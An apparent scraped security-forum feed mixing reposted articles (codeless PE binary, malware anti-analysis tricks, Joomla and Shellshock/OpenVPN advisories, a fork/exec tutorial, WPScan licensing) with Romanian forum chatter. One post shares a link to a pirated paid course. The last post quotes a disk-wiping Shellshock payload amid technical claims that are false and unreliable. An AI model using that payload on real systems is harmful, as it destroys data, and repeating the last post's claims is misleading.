of image HEADER:00000058 dd 0 ; Size of headers HEADER:0000005C dd 0 ; Checksum HEADER:00000060 dw 2 ; Subsystem HEADER:00000062 dw 0 ; Dll characteristics HEADER:00000064 dd 0 ; Size of stack reserve HEADER:00000068 dd 0 ; Size of stack commit HEADER:0000006C dd 0 ; Size of heap reserve HEADER:00000070 dd 0 ; Size of heap commit HEADER:00000074 dd 0 ; Loader flag HEADER:00000078 dd 0 ; Number of data directories HEADER:0000007C HEADER ends HEADER:0000007C end As per Corkami, in Windows 7 and higher, you’ll want to make sure that the PE is at least 252 bytes on x86, or 268 bytes on x64. Here’s a 64 byte Base64 representation of a .gz file containing the 64-bit compatible (268 byte) executable: H4sICPwJKlQCAHguZXhlAPONYmAIcGVg8GFkQANMDNxoYj+Y9tUjeA4MLECSBc5HsB1QTBk6AAB e6Mo9DAEAAA== Caveat There is one non-standard machine configuration in which this code will actually still crash (but still return STATUS_SUCCESS in CreateProcess, however). This is left as an exercise to the reader. Conclusion The application executes and exits successfully. But as you can see, no code is present in the binary. How does it work? Do you have any other solutions which satisfy the challenge? Sursa: PE Trick #1: A Codeless PE Binary File That Runs « Alex Ionescu’s Blog

Five Anti-Analysis Tricks That Sometimes Fool Analysts September 30, 2014 | BY Joshua Cannell No malware author wants an analyst snooping around their code, so they employ tricks to inhibit analysis. Along with visualization technology like VMware, debuggers are also targeted by malware. This is because if a debugger is attached to the running malware, it’s more than likely being analyzed. While nothing presented here is really new, it might help you to identify what’s happening if you find yourself in one of these traps. 1. VMware I/O port VMware tools is a software package users can install on their VMware virtual machines to increase their functionality. For example, one thing it allows for is drag-and-drop functionality between the host and guest, and vice versa. Competitors such as Oracle Virtualbox offers a similar package for their virtual machines known as Virtualbox Guest Additions. VMware Tools uses a special I/O port to communicate data to/from the host and virtual machine. Malware takes advantage of this functionality and implements it using only a few lines of Assembly code. Malware communicating over the VMware I/O port to retrieve the software version. If this code is running under a VMware virtual machine, it will execute successfully, and place the magic number into the EBX general purpose CPU register. This is a very efficient way of telling if a system is running inside a VMware virtual machine. 2. Virtual PC instructions The x86 instruction set has a limited number of instructions that your CPU can understand. Every now and then, you may encounter a situation where your CPU doesn’t understand an instruction, and therefore won’t be able to process it correctly. Opcodes in grey text are not recognized by the disassembler in Ollydbg. The above instructions are part of an anti-debugging technique for Microsoft Virtual PC, as was documented by researchers at Symantec. Here is another view using Ida Pro that gives us another clue we’re dealing with a Virtual PC instruction that is otherwise illegal in normal processors: If the target system is not running Virtual PC, an exception is generated and captured by the malware. However, if Virtual PC is running, no exception would be generated indicating that the user is in fact running Microsoft Virtual PC. 3. Check Descriptor Table Registers There is one Local Descriptor Table Register (LDTR), one Global Descriptor Table Register (GDTR), and one Interrupt Descriptor Table Register (IDTR) per CPU. These have to be moved to a different location when a guest operating system is running to avoid conflicts with the host. Ocassionally, you’ll see malware check for these by using the ASM instructions SLDT, SGDT, and SIDT to get the value of these registers. Malware checking the value of the descriptor table registers 4. DLLScanning This is perhaps one of the easiest identifiable anti-debug methods, where the malware scans its own process to look for particular dynamic-link libraries (DLLs) that may be associated with analyst tools. The targeted dlls here can be anything related to debuggers or tools that may inject special DLLs into the malware’s process (i.e. sandboxes). Malware looking for the presence of DLLs related to Sandboxie and Windbg. 5. Product ID check Checking the Window Product ID found within the registry can yield clues to what kind of System you are running. In the past, many Sandboxes used hardcoded product IDs in their Operating System environment. While most Sandboxes and other automated analysis systems use randomly generated product IDs, you can still occasionally find these checks. A malware sample testing for the presence of Anubis Sandbox These are just a few examples of tricks used to inhibit analysis of malicous code. Keeping aware of these methods can make your analysis process more effective. @joshuacannell Sursa (cu imagini): https://blog.malwarebytes.org/intelligence/2014/09/five-anti-debugging-tricks-that-sometimes-fool-analysts/

Joomla! 3.3.5 Released – Fixing High Priority Security Issues By Daniel Cid on September 30, 2014 The Joomla team just released versions 3.3.5, 3.2.6 and 2.5.26, patching high priority security issues. The first one is an Remote File Include (RFI) vulnerability and the second one is a Denial of Service (DoS) vulnerability that affect all previous versions. If you are using Joomla, stop what you are doing and update it now! The good news for our clients and what’s very exciting for us, me especially, is to see how the virtual hardening on our CloudProxy Website firewall protected our clients automatically against this vulnerability. As our researchers started to analyze the disclosure, we quickly noticed that it was already covered and the URL used to trigger this bug was already blocked by default. It means that our clients got zero-day protection without anyone even knowing about this issue. For more information on these vulnerabilities, you can get straight from the Joomla! release notes: High Priority – Core – Remote File Inclusion: Project: Joomla! SubProject: CMS Severity: Moderate Versions: 2.5.4 through 2.5.25, 3.2.5 and earlier 3.x versions, 3.3.0 through 3.3.4 Exploit type: Remote File Inclusion Reported Date: 2014-September-24 Fixed Date: 2014-September-30 CVE Number: CVE-2014-7228 Inadequate checking allowed the potential for remote files to be executed. This issue was discovered by Johannes Dahse and disclosed to Akeeba (and Joomla). The Akeeba team released a good post explaining the issue. We recommend reading if you are interested in the technical details. Medium Priority – Core – Denial of Service: Project: Joomla! SubProject: CMS Severity: Low Versions: 2.5.4 through 2.5.25, 3.2.5 and earlier 3.x versions, 3.3.0 through 3.3.4 Exploit type: Denial of Service Reported Date: 2014-September-24 Fixed Date: 2014-September-30 CVE Number: CVE-2014-7229 Inadequate checking allowed the potential for a denial of service attack. Again, if you are using the Joomla! we highly recommend updating immediately. Sursa: Joomla! 3.3.5 Released – Fixing High Priority Security Issues | Sucuri Blog

by Michael Mimoso September 30, 2014 , 12:47 pm OpenVPN wasn’t immune to the Heartbleed vulnerability in OpenSSL, and it’s not going to sidestep Shellshock either. Fredrick Stromberg, cofounder of Mullvad, a Swedish VPN company, reported that OpenVPN servers are vulnerable to Shellshock , the vulnerability in Bash plaguing Linux, UNIX and Mac OS X systems. Stromberg said the attack vector in OpenVPN is particularly dangerous because it’s pre-authentication, putting all communication through a supposedly secure tunnel at risk. “OpenVPN has a number of configuration options that can call custom commands during different stages of the tunnel session. Many of these commands are called with environmental variables set, some of which can be controlled by the client,” Stromberg wrote in a post to Hacker News. “One option used for username+password authentication is ‘auth-user-pass-verify.’ If the called script uses a vulnerable shell, the client simply delivers the exploit and payload by setting the username.” Gert Doering, speaking on behalf of the OpenVPN open source community version, said that OpenVPN is vulnerable only on systems where /bin/sh points to /bin/bash, or if a script that runs using bash as an interpreter is called explicity. “What you want to do from OpenVPN’s point of view is to ensure that you’re not using a 2.2.x version anymore, *and* that you just do not run your scripts using bash (“#!/bin/bash”) but use a shell that is better suited to script usage, like ash/dash,” Doering said. “Also, always use client certificates, as the username verification script that is the attack vector here is only called after successful verification of a client cert. And, of course, update your systems in a timely fashion.” Stromberg said the discovery was disclosed to OpenVPN last week. Stromberg said the discovery was disclosed to OpenVPN last week. “Given how many users could potentially be affected we reasoned that maximum utility would be achieved by giving VPN providers a heads up before warning everyone,” Stromberg wrote. “If you were affected but not informed I apologize.” OpenVPN is an open source virtual private network software package. Request for comment on the availability of a fix or workarounds went unanswered prior to publication. Stromberg also discovered that OpenVPN was vulnerable to Heartbleed and that researchers were able to chain together several exploits in order to steal private keys. Since the vulnerability in Bash (Bourne Again Shell) was disclosed last Wednesday, news has been fluid. There are now six distinct vulnerabilities that have been discovered, one as severe as the initial Bash flaw, but all merit watching. A number of patches have been produced, including two within the first 12 hours of discovery last week, and others from major vendors including Apple last night. The vulnerability allows an attacker to take advantage of a vulnerability in the way Bash executes code attached to an environment variable. Google engineer Michal Zalewski, a prolific bug-hunter, urged administrators to apply a patch built by Red Hat engineer Florian Weimer or an upstream version adopted by Bash project engineer Chet Ramey, who pushed out Bash43-027. “This patch changes the encoding bash uses for exported functions to avoid clashes with shell variables and to avoid depending only on an environment variable’s contents to determine whether or not to interpret it as a shell function,” Ramey wrote in the patch advisory. Zalewski wrote on his blog that he had discovered two new issues in Bash, one a remotely exploitable parsing issue that is exacerbated, he said, because Bash is not usually compiled with ASLR. The other vulnerability, the most severe so far, he said, permits remote code execution on systems that have been patched against the original vulnerability. “It’s a ‘put your commands here’ type of a bug similar to the original report,” Zalewski wrote. To date, a number of exploits have been reported, most of those just scanning the Internet looking for servers running vulnerable versions of Bash. One Perl bot discovered by AlienVault Labs opens a backdoor to a remote command and control server where more commands await. Experts speculate those exploits are trying to recruit bots to carry out DDoS attacks. Other exploits report system configuration data to a remote server or try to drop a remote shell on compromised machines. Sursa: OpenVPN vulnerable to Shellshock Bash vulnerability | Threatpost | The first stop for security news

Ma fut in conturile lor "premium". L-am luat de pe torrent. Link direct de download: https://rstforums.com/fisiere/Webdev.zip (1.91 GB) 09/30/2014 05:36 PM <DIR> Section 1 - Getting Started & HTML 09/30/2014 05:36 PM <DIR> Section 2 - CSS 09/30/2014 05:36 PM <DIR> Section 3 - Javascript 09/30/2014 05:31 PM <DIR> Section 4 - jQuery 09/30/2014 05:31 PM <DIR> Section 5 - Twitter Bootstrap 09/30/2014 05:31 PM <DIR> Section 6 - Wordpress 09/30/2014 05:36 PM <DIR> Section 7 - PHP 09/30/2014 05:31 PM <DIR> Section 8 - MySQL 09/30/2014 05:31 PM <DIR> Section 9 - APIs 09/30/2014 05:31 PM <DIR> Section 10 - Mobile Apps 09/30/2014 05:31 PM <DIR> Section 11 - What Now

Da, l-am gasit si eu asa: PRICE: $199 Scumput

Daca le are cineva, as fi si eu interesat.

Buna seara, Va contactez in legatura cu o oportunitate de C++ developer pe care o avem in Munich, pentru compania X... Daca sunteti interesat/interesata de aceasta oportunitate va stam la dispozitie pentru mai multe informatii. O seara placuta! Cine vrea mai multe detalii sa imi dea PM.

Kickbox, MMA sau krav maga.

A fost fixat si acesta.

Description This application is based on MiTeC Portable Executable Reader. It reads and displays executable file properties and structure. It is compatible with PE32 (Portable Executable), PE32+ (64bit), NE (Windows 3.x New Executable) and VxD (Windows 9x Virtual Device Driver) file types. .NET executables are supported too. It enumerates introduced classes, used units and forms for files compiled by Borland compilers. It contains powerfull Resource Viewer that is able to abalyze and display al basic resouce types and some extra ones as JPEG, PNG, GIF, AVI, REGISTRY. It contains excellent Type Library viewer that enumerates all objects and creates import interface unit in Object Pascal language. Every type of resource can be saved to file. EXE Explorer produces text report with all important information about selected file. Searching capability is also available. It searches all resources that can be interpreted as text. Here are enumerated structures that are evaluated: DOS, File, Optional and CLR headers CLR Metadata streams Sections Directories Imports Exports Resources ASCII and Unicode Strings .NET Metadata Load Config Debug Thread Local Storage Exceptions Units Forms Packages Classes Flags Version Info Hexadecimal File Content View [TABLE] [TR] [TD][/TD] [TD] Screenshots[/TD] [/TR] [/TABLE] Download: http://www.mitec.cz/Downloads/EXE.zip Sursa: MiTeC Homepage

Cine se ofera voluntar ca intermediar? Nu cred ca vrea nimeni sa se complice pentru 5 dolari care i-ar ramane la o tranzactie.

Am mai pierdut un camarad... S-a insurat. In aceasta poza: - Nytro - Tinkode - Denjacker (daemien) Ghiciti voi care cine e.

E ok. Au echipa interna de security care rezolva problemele si nu apar publice. E sigur si stabil.

New processes are created by the two related interfaces fork and exec. Fork When you come to metaphorical "fork in the road" you generally have two options to take, and your decision effects your future. Computer programs reach this fork in the road when they hit the fork() system call. At this point, the operating system will create a new process that is exactly the same as the parent process. This means all the state that was talked about previously is copied, including open files, register state and all memory allocations, which includes the program code. The return value from the system call is the only way the process can determine if it was the existing process or a new one. The return value to the parent process will be the Process ID (PID) of the child, whilst the child will get a return value of 0. At this point, we say the process has forked and we have the parent-child relationship as described above. Exec Forking provides a way for an existing process to start a new one, but what about the case where the new process is not part of the same program as parent process? This is the case in the shell; when a user starts a command it needs to run in a new process, but it is unrelated to the shell. This is where the exec system call comes into play. exec will replace the contents of the currently running process with the information from a program binary. Thus the process the shell follows when launching a new program is to firstly fork, creating a new process, and then exec (i.e. load into memory and execute) the program binary it is supposed to run. How Linux actually handles fork and exec clone In the kernel, fork is actually implemented by a clone system call. This clone interfaces effectively provides a level of abstraction in how the Linux kernel can create processes. clone allows you to explicitly specify which parts of the new process are copied into the new process, and which parts are shared between the two processes. This may seem a bit strange at first, but allows us to easily implement threads with one very simple interface. Threads While fork copies all of the attributes we mentioned above, imagine if everything was copied for the new process except for the memory. This means the parent and child share the same memory, which includes program code and data. Figure 5.4. Threads The memory (including program code and variables) of the process are shared by the threads, but each has it's own kernel state, so they can be running different parts of the code at the same time. This hybrid child is called a thread. Threads have a number of advantages over where you might use fork Separate processes can not see each others memory. They can only communicate with each other via other system calls. Threads however, share the same memory. So you have the advantage of multiple processes, with the expense of having to use system calls to communicate between them. The problem that this raises is that threads can very easily step on each others toes. One thread might increment a variable, and another may decrease it without informing the first thread. These type of problems are called concurrency problems and they are many and varied. To help with this, there are userspace libraries that help programmers work with threads properly. The most common one is called POSIX threads or, as it more commonly referred to pthreads Switching processes is quite expensive, and one of the major expenses is keeping track of what memory each process is using. By sharing the memory this overhead is avoided and performance can be significantly increased. There are many different ways to implement threads. On the one hand, a userspace implementation could implement threads within a process without the kernel having any idea about it. The threads all look like they are running in a single process to the kernel. This is suboptimal mainly because the kernel is being withheld information about what is running in the system. It is the kernels job to make sure that the system resources are utilised in the best way possible, and if what the kernel thinks is a single process is actually running multiple threads it may make suboptimal decisions. Thus the other method is that the kernel has full knowledge of the thread. Under Linux, this is established by making all processes able to share resources via the clone system call. Each thread still has associated kernel resources, so the kernel can take it into account when doing resource allocations. Other operating systems have a hybrid method, where some threads can be specified to run in userspace only ("hidden" from the kernel) and others might be a light weight process, a similar indication to the kernel that the processes is part of a thread group. Copy on write As we mentioned, copying the entire memory of one process to another when fork is called is an expensive operation. One optimisation is called copy on write. This means that similar to threads above, the memory is actually shared, rather than copied, between the two processes when fork is called. If the processes are only going to be reading the memory, then actually copying the data is unnecessary. However, when a process writes to it's memory, it needs to be a private copy that is not shared. As the name suggests, copy on write optimises this by only doing the actual copy of the memory at the point when it is written to. Copy on write also has a big advantage for exec. Since exec will simply be overwriting all the memory with the new program, actually copying the memory would waste a lot of time. Copy on write saves us actually doing the copy. The init process We discussed the overall goal of the init process previously, and we are now in a position to understand how it works. On boot the kernel starts the init process, which then forks and execs the systems boot scripts. These fork and exec more programs, eventually ending up forking a login process. The other job of the init process is "reaping". When a process calls exit with a return code, the parent usually wants to check this code to see if the child exited correctly or not. However, this exit code is part of the process which has just called exit. So the process is "dead" (e.g. not running) but still needs to stay around until the return code is collected. A process in this state is called a zombie (the traits of which you can contrast with a mystical zombie!) A process stays as a zombie until the parent collects the return code with the wait call. However, if the parent exits before collecting this return code, the zombie process is still around, waiting aimlessly to give it's status to someone. In this case, the zombie child will be reparented to the init process which has a special handler that reaps the return value. Thus the process is finally free and can the descriptor can be removed from the kernels process table. Zombie example Example 5.3. Zombie example process   1    $ cat zombie.c    #include <stdio.h>    #include <stdlib.h>   5    int main(void)    {    pid_t pid;     10 printf("parent : %d\n", getpid());       pid = fork();       if (pid == 0) {  15 printf("child : %d\n", getpid());    sleep(2);    printf("child exit\n");    exit(1);    }  20    /* in parent */    while (1)    {    sleep(1);  25 }    }       ianw@lime:~$ ps ax | grep [z]ombie    16168 pts/9 S 0:00 ./zombie  30 16169 pts/9 Z 0:00 [zombie] <defunct>    Above we create a zombie process. The parent process will sleep forever, whilst the child will exit after a few seconds. Below the code you can see the results of running the program. The parent process (16168) is in state S for sleep (as we expect) and the child is in state Z for zombie. The ps output also tells us that the process is defunct in the process description.[16] [16] The square brackets around the "z" of "zombie" are a little trick to remove the grep processes its self from the ps output. grep interprets everything between the square brackets as a character class, but because the process name will be "grep [z]ombie" (with the brackets) this will not match! Sursa: Fork and Exec

The WPScan software and its data (henceforth both referred to simply as "WPScan") is dual-licensed - copyright 2011-2014 The WPScan Team. Cases that include commercialization of WPScan require a commercial, non-free license. Otherwise, the system can be used under the terms of the GNU General Public License. Cases of commercialization are: Using WPScan to provide commercial managed/Software-as-a-Service services. Distributing WPScan as a commercial product or as part of one. Cases which do not require a commercial license, and thus fall under the terms of GNU General Public License, include (but are not limited to): Penetration testers (or penetration testing organizations) using WPScan as part of their assessment toolkit. So long as that does not conflict with the commercialization clause. Using WPScan to test your own systems. Any non-commercial use of WPScan. If you need to acquire a commercial license or are unsure about whether you need to acquire a commercial license, please get in touch, we will be happy to clarify things for you and work with you to accommodate your requirements. wpscanteam at gmail.com You should have received a copy of the GNU General Public License along with this program. If not, see Licenses - GNU Project - Free Software Foundation. [h=4]INSTALL[/h] WPScan comes pre-installed on the following Linux distributions: BackBox Linux Kali Linux Pentoo SamuraiWTF ArchAssault Prerequisites: Ruby >= 1.9.2 - Recommended: 2.1.2 Curl >= 7.21 - Recommended: latest - FYI the 7.29 has a segfault RubyGems - Recommended: latest Git Windows is not supported. Sursa: https://github.com/wpscanteam/wpscan

Este usor de exploatat pentru un singur server, insa se complica lucrurile pentru mai multe servere. De exemplu, un clasic (){:;}; rm -rf / nu va merge pe orice server, deoarece multe servere au SELinux peste kernel, iar grsecurity opreste exploatarea inca din layer-ul 2 de retea! Singurul lucru care se poate incerca, e un exploit de privilege escalation, prin care controland ESP-ul, sa modifici page memory-ul care contine acel script si astfel sa faci bypass schimband protocolul din TCP in ICMP. Dar iti dai seama ca este dificil sa faci asa ceva, mai ales ca sunt foarte multe versiuni de kernel si ca sa fie compatibil va trebui sa gasesti semnaturi pentru functii si IOCTL-uri care controleaza SSDT-ul si valideaza integritatea codului... Adica cel mai bine citeste articolele si incearca sa le intelegi, nu e asa dificil.